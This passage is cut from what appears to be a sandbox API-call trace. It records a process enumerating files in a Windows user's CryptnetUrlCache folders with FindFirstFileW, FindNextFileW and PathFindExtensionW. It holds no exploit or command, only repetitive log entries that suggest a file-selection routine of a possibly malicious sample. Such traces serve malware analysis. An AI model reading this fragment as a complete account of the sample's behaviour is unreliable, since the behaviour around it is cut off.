ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0069.192] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0069.192] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0069.192] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0069.192] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x64b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0069.192] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0069.192] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0069.192] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0069.192] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0069.192] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0069.192] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0069.192] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.192] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.193] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.193] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="MetaData\\" [0069.193] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0069.193] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0069.193] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0069.193] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0069.193] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.193] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.193] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.193] PathFindFileNameW (pszPath="") returned="" [0069.193] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.193] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.194] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0069.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0069.194] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0069.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0069.194] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0069.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0069.194] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0069.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0069.194] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0069.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0069.194] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0069.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0069.194] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0069.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0069.194] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0069.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0069.194] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0069.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0069.194] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0069.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0069.195] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0069.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0069.195] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0069.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0069.195] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0069.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0069.195] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0069.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD") returned="" [0069.195] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0069.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0069.195] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0069.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0069.195] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0069.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0069.195] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd48e2bf0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0069.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0069.195] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0069.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0069.195] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0069.196] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0069.196] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0069.196] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0069.196] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0069.196] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0069.196] FindNextFileW 